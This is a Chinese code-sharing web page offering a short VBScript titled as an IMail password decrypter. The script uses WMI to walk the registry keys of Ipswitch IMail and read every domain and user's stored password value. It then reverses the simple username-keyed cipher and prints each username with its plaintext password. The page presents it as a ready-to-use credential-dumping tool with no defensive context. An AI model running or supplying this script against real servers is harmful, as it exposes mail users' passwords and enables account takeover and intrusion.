当前位置: 移动技术网 > IT编程>脚本编程>VBScript > vbs imail 密码解密

vbs imail 密码解密

2017年12月08日  | 移动技术网IT编程  | 我要评论

穆赫兰大道qvod,国内网上商城排名,青岛华臣影城今日影讯

复制代码 代码如下:

on error resume next
const hkey_local_machine = &h80000002
strcomputer = "."
set oreg=getobject("winmgmts:{impersonationlevel=impersonate}!\\" &_
strcomputer & "\root\default:stdregprov")
strkeypath = "software\ipswitch\imail\domains"
oreg.enumkey hkey_local_machine, strkeypath, arrsubkeys
for each subkey in arrsubkeys
wscript.echo "domain: "&subkey
strkeypath2 = strkeypath&"\"&subkey&"\users"
oreg.enumkey hkey_local_machine, strkeypath2, arrsubkeys2
for each subkey2 in arrsubkeys2
strkeypath3=strkeypath2&"\"&subkey2
strvaluename = "password"
oreg.getstringvalue hkey_local_machine,strkeypath3,strvaluename,strvalue
if len(subkey2) and len(strvalue) then
wscript.echo subkey2 &" : " & decrypt(subkey2,strvalue)
end if
next
next

function decrypt(name,pass)
while len(name)<len(pass)/2
name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="&h"&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网